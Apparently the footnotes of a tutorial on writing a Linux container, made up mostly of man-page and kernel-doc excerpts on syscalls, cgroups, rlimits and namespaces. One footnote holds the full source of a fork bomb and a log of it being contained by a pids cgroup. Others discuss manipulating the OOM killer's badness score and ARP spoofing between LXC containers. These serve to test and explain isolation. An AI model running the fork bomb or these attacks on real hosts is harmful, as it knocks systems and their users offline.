DESCRIPTION
	This is  not the  function you are  interested in.   Look at
	readdir(3)  for the  POSIX conforming  C library  interface.
	This page  documents the bare kernel  system call interface,
	which is superseded by getdents(2).

	readdir()  reads  one  old_linux_dirent structure  from  the
	directory referred  to by  the file  descriptor fd  into the
	buffer pointed to  by dirp.  The argument  count is ignored;
	at most one old_linux_dirent structure is read.

74
NAME
	kexec_load, kexec_file_load  - load  a new kernel  for later
	execution
	[...]
ERRORS
	[...]
	EPERM
		The caller does not have the CAP_SYS_BOOT capability.
75
NICE(2) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

NAME
	nice - change process priority

	[...]
ERRORS

	EPERM
		The calling process attempted  to increase its priority
		by  supplying  a  negative  inc  but  has  insufficient
		privileges.  Under  Linux, the  CAP_SYS_NICE capability
		is   required.   (But   see  the   discussion  of   the
		RLIMIT_NICE resource limit in setrlimit(2).)

76
PERFMONCTL(2) -- 2013-02-13 -- Linux -- Linux Programmer's Manual

NAME
	perfmonctl - interface to IA-64 performance monitoring unit

	[...]

CONFORMING TO
	perfmonctl() is Linux-specific and  is available only on the
	IA-64 architecture.

77
	ppc_rtas(2)	2.6.2	PowerPC only
78
SPU_CREATE(2) -- 2015-12-28 -- Linux -- Linux Programmer's Manual

NAME
	spu_create - create a new spu context

SYNOPSIS
	#include <sys/types.h>
	#include <sys/spu.h>

	int spu_create(const char *pathname, int flags, mode_t mode);
	int spu_create(const char *pathname, int flags, mode_t mode,
				int neighbor_fd);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

DESCRIPTION
	The  spu_create() system  call is  used on  PowerPC machines
	that  implement the  Cell Broadband  Engine Architecture  in
	order  to access  Synergistic  Processor  Units (SPUs).   It
	creates a  new logical  context for an  SPU in  pathname and
	returns a file descriptor associated with it.  pathname must
	refer to a  nonexistent directory in the mount  point of the
	SPU filesystem  (spufs).  If  spu_create() is  successful, a
	directory is  created at pathname  and it is  populated with
	the files described in spufs(7).

79
SPU_RUN(2) -- 2012-08-05 -- Linux -- Linux Programmer's Manual

NAME
	spu_run - execute an SPU context

SYNOPSIS
	#include <sys/spu.h>

	int spu_run(int fd, unsigned int *npc, unsigned int *event);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

DESCRIPTION
	The spu_run() system  call is used on  PowerPC machines that
	implement the Cell Broadband Engine Architecture in order to
	access Synergistic Processor Units  (SPUs).  The fd argument
	is a  file descriptor returned by  spu_create(2) that refers
	to a specific SPU context.   When the context gets scheduled
	to a  physical SPU, it  starts execution at  the instruction
	pointer passed in npc.

80
SUBPAGE_PROT(2) -- 2012-07-13 -- Linux -- Linux Programmer's Manual

NAME
	subpage_prot -  define a  subpage protection for  an address
	range

	[...]

VERSIONS
	This  system call  is provided  on the  PowerPC architecture
	since Linux 2.6.25.  The system call is provided only if the
	kernel is configured  with CONFIG_PPC_64K_PAGES.  No library
	support is provided.

81
	utrap_install(2)	2.2	Sparc only
82
	kern_features(2)	3.7	Sparc64

This is pretty vague, so I looked at the source. It's only mentioned in an Sparc64-specific file:

asmlinkage long sys_kern_features(void)
{
	return KERN_FEATURE_MIXED_MODE_STACK;
}
83
DESCRIPTION
	The readv() system  call reads iovcnt buffers  from the file
	associated  with the  file  descriptor fd  into the  buffers
	described by iov ("scatter input").

	The  writev()  system call  writes  iovcnt  buffers of  data
	described  by  iov to  the  file  associated with  the  file
	descriptor fd ("gather output").

	[...]

	The readv() system call works  just like read(2) except that
	multiple buffers are filled.

	The  writev() system  call works  just like  write(2) except
	that multiple buffers are written out.

	[...]

   preadv() and pwritev()
	The  preadv()  system  call combines  the  functionality  of
	readv() and pread(2).  It performs the same task as readv(),
	but adds a fourth argument, offset, which specifies the file
	offset at which the input operation is to be performed.

	The  pwritev() system  call  combines  the functionality  of
	writev()  and  pwrite(2).   It  performs the  same  task  as
	writev(),  but   adds  a  fourth  argument,   offset,  which
	specifies the file  offset at which the  output operation is
	to be performed.

	The file offset  is not changed by these  system calls.  The
	file referred to by fd must be capable of seeking.

   preadv2() and pwritev2()

	These  system calls  are similar  to preadv()  and pwritev()
	calls, but add  a fifth argument, flags,  which modifies the
	behavior on a per-call basis.

	Unlike preadv() and pwritev(), if the offset argument is -1,
	then the current file offset is used and updated.

	The flags argument contains a bitwise  OR of zero or more of
	the following flags:

	RWF_DSYNC (since Linux 4.7)
		Provide a  per-write equivalent of the  O_DSYNC open(2)
		flag.  This flag is meaningful only for pwritev2(), and
		its effect  applies only to  the data range  written by
		the system call.

	RWF_HIPRI (since Linux 4.6)
		High    priority   read/write.     Allows   block-based
		filesystems  to  use  polling   of  the  device,  which
		provides   lower  latency,   but  may   use  additional
		resources.  (Currently, this feature  is usable only on
		a file descriptor opened using the O_DIRECT flag.)

	RWF_SYNC (since Linux 4.7)
		Provide a  per-write equivalent  of the  O_SYNC open(2)
		flag.  This flag is meaningful only for pwritev2(), and
		its effect  applies only to  the data range  written by
		the system call.
84

This isn't just a denial-of-service concern. If a process consumes a lot of memory, and has a better badness score than some other critical host-side process, the host-side process will be killed by the kernel's out-of-memory killer.

The badness score favors longer-running processes, among other things:

"Taming the OOM Killer" on LWN:

The process to be killed in an out-of-memory situation is selected based on its badness score. The badness score is reflected in /proc/<pid>/oom_score. This value is determined on the basis that the system loses the minimum amount of work done, recovers a large amount of memory, doesn't kill any innocent process eating tons of memory, and kills the minimum number of processes (if possible limited to one). The badness score is computed using the original memory size of the process, its CPU time (utime + stime), the run time (uptime - start time) and its oom_adj value. The more memory the process uses, the higher the score. The longer a process is alive in the system, the smaller the score.

I haven't demonstrated it, but I believe this could manipulated to cause a screen lock program to be killed, for example. It's not unheard of for e.g. xscreensaver to leak memory:

"gltext seems to leak memory eventually causing oom-killer to run":

gltext is consuming large amounts of memory. Often being killed by oom-killer but eventually causing me not to be able to log into my computer disabling gltext from the list of possible screensavers caused the problem to go away.

There's even an open Ubuntu xscreensaver bug to make the OOM killer more likely to kill xscreensaver. This seems like the wrong direction to me….

"xscreensaver does not protect the system against its children":

The thing is, a screensaver is NOT a critically important part of the system. It should die early if it is a resource hog. All you have to do is write "10" into /proc/PID/oom_adj and Bob's your uncle. Until then, Xscreensaver is failing its duties.

85
	Cgroup namespaces virtualize the view of a process's cgroups
	(see   cgroups(7))  as   seen  via   /proc/[pid]/cgroup  and
	/proc/[pid]/mountinfo.

	Each  cgroup  namespace  has  its own  set  of  cgroup  root
	directories,  which are  the  base points  for the  relative
	locations displayed  in /proc/[pid]/cgroup.  When  a process
	creates a new cgroup  namespace using clone(2) or unshare(2)
	with  the  CLONE_NEWCGROUP  flag,  it enters  a  new  cgroup
	namespace in  which its  current cgroups  directories become
	the  cgroup root  directories of  the new  namespace.  (This
	applies both for  the cgroups version 1  hierarchies and the
	cgroups version 2 unified hierarchy.)
86
Brief summary of control files.
[...]
 memory.limit_in_bytes		 # set/show limit of memory usage
87
Brief summary of control files.
[...]
 memory.kmem.limit_in_bytes      # set/show hard limit for kernel memory
88
   Cgroups version 1 controllers
	Each of the  cgroups version 1 controllers is  governed by a
	kernel configuration  option (listed  below).  Additionally,
	the availability of  the cgroups feature is  governed by the
	CONFIG_CGROUPS kernel configuration option.

	cpu (since Linux 2.6.24; CONFIG_CGROUP_SCHED)
		Cgroups  can be  guaranteed  a minimum  number of  "CPU
		shares" when a  system is busy.  This does  not limit a
		cgroup's CPU usage if the CPUs are not busy.

		Further information  can be found in  the kernel source
		file Documentation/scheduler/sched-bwc.txt.

89
						   Process Number Controller
						   =========================

Abstract
--------

The process number controller is used to allow a cgroup hierarchy to stop any
new tasks from being fork()'d or clone()'d after a certain limit is reached.

Since it is trivial to hit the task limit without hitting any kmemcg limits in
place, PIDs are a fundamental resource. As such, PID exhaustion must be
preventable in the scope of a cgroup hierarchy by allowing resource limiting of
the number of tasks in a cgroup.

Usage
-----

In order to use the `pids` controller, set the maximum number of tasks in
pids.max (this is not available in the root cgroup for obvious reasons). The
number of processes currently in the cgroup is given by pids.current.

for example,

/* -*- compile-command: "gcc -Wall -Werror -static forkbomb.c -o forkbomb" -*- */
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main (int argc, char  **argv)
{
	switch (fork()) {
	case -1:
		fprintf(stderr, "++ couldn't even fork once: %m\n");
		return 1;
	case 0:
		while (1) {
			switch (fork()) {
			case -1:
				break;
			case 0:
				fprintf(stderr, "++ successful fork.\n");
				break;
			default:
				break;
				
			}
		}
		break;
	default:
		while (1) sleep(1);
		break;
	}
	return 0;
}
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c forkbomb
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.0sOZgF...done.
=> trying a user namespace...writing /proc/2184/uid_map...writing /proc/2184/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
C-c C-c
90
Details of cgroup files
=======================
Proportional weight policy files
--------------------------------
- blkio.weight
	- Specifies per cgroup weight. This is default weight of the group
	  on all the devices until and unless overridden by per device rule.
	  (See blkio.weight_device).
	  Currently allowed range of weights is from 10 to 1000.

91
   Creating cgroups and moving processes
	A cgroup filesystem initially contains a single root cgroup,
	'/', which all processes belong to.  A new cgroup is created
	by creating a directory in the cgroup filesystem:

	    mkdir /sys/fs/cgroup/cpu/cg1

	This creates a new empty cgroup.

	A process  may be moved  to this  cgroup by writing  its PID
	into the cgroup's cgroup.procs file:

	    echo $$ > /sys/fs/cgroup/cpu/cg1/cgroup.procs

	Only one PID at a time should be written to this file.

	Writing  the  value 0  to  a  cgroup.procs file  causes  the
	writing process to be moved to the corresponding cgroup.

	When writing a PID into the cgroup.procs, all threads in the
	process are moved into the new cgroup at once.

	Within a hierarchy, a process can be a member of exactly one
	cgroup.   Writing a  process's  PID to  a cgroup.procs  file
	automatically removes  it from  the cgroup  of which  it was
	previously a member.

	The cgroup.procs  file can be read  to obtain a list  of the
	processes that are  members of a cgroup.   The returned list
	of  PIDs is  not  guaranteed  to be  in  order.   Nor is  it
	guaranteed to  be free of  duplicates.  (For example,  a PID
	may be recycled while reading from the list.)

	In cgroups v1 (but not cgroups v2), an individual thread can
	be moved to  another cgroup by writing its  thread ID (i.e.,
	the kernel thread ID returned  by clone(2) and gettid(2)) to
	the tasks file in a cgroup directory.  This file can be read
	to  discover the  set of  threads  that are  members of  the
	cgroup.  This file is not present in cgroup v2 directories.
92
	The soft limit is the value that the kernel enforces for the
	corresponding resource.   The hard  limit acts as  a ceiling
	for the soft limit: an unprivileged process may set only its
	soft limit  to a value  in the range from  0 up to  the hard
	limit,  and   (irreversibly)  lower   its  hard   limit.   A
	privileged    process   (under    Linux:   one    with   the
	CAP_SYS_RESOURCE capability)  may make arbitrary  changes to
	either limit value.
93
1.4 What does notify_on_release do ?
------------------------------------

If the notify_on_release flag is enabled (1) in a cgroup, then
whenever the last task in the cgroup leaves (exits or attaches to
some other cgroup) and the last child cgroup of that cgroup
is removed, then the kernel runs the command specified by the contents
of the "release_agent" file in that hierarchy's root directory,
supplying the pathname (relative to the mount point of the cgroup
file system) of the abandoned cgroup.  This enables automatic
removal of abandoned cgroups.  The default value of
notify_on_release in the root cgroup at system boot is disabled
(0).  The default value of other cgroups at creation is the current
value of their parents' notify_on_release settings. The default value of
a cgroup hierarchy's release_agent path is empty.

It's annoying to set the release agent on a per-container basis, so we'll avoid it.

94
Description:

An unprivileged LXC container can conduct an ARP spoofing attack
against another unprivileged LXC container running on the same
host. This allows man-in-the-middle attacks on another container's
traffic.

Recommendation:

Due to the complex nature of this involving the Linux bridge
interface, NCC is not aware of an easy fix. We suggest involving the
kernel networking team to allow for ARP restrictions on virtual bridge
interfaces. Using ebtables to block and control link layer traffic may
also be an effective fix. Documentation should reflect the risks of
not using any future protections or ebtables.

Stéphane Graber (stgraber) wrote on 2016-02-22:	#1
Hi,

Thanks for the report. This is not exactly news to us and has been
mentioned publicly a few times.

Our usual answer to this is that if you don't trust your users, you
shouldn't grant them access to a shared bridge, instead setup a
separate bridge for them.

MAC filtering through ebtables is an option but the problem with this
approach is that it essentially prevents container nesting as that
would lead to more than one MAC being used by the container which
ebtables would block.

[...]

On a local system, our answer to that is as I said to either trust
everyone you give access to a shared bridge or to segment traffic by
using multiple bridges.
95
   Cgroups version 1 controllers
	Each of the  cgroups version 1 controllers is  governed by a
	kernel configuration  option (listed  below).  Additionally,
	the availability of  the cgroups feature is  governed by the
	CONFIG_CGROUPS kernel configuration option.
[...]

	net_prio (since Linux 3.3; CONFIG_CGROUP_NET_PRIO)
		This  allows priorities  to be  specified, per  network
		interface, for cgroups.

		Further information  can be found in  the kernel source
		file Documentation/cgroup-v1/net_prio.txt.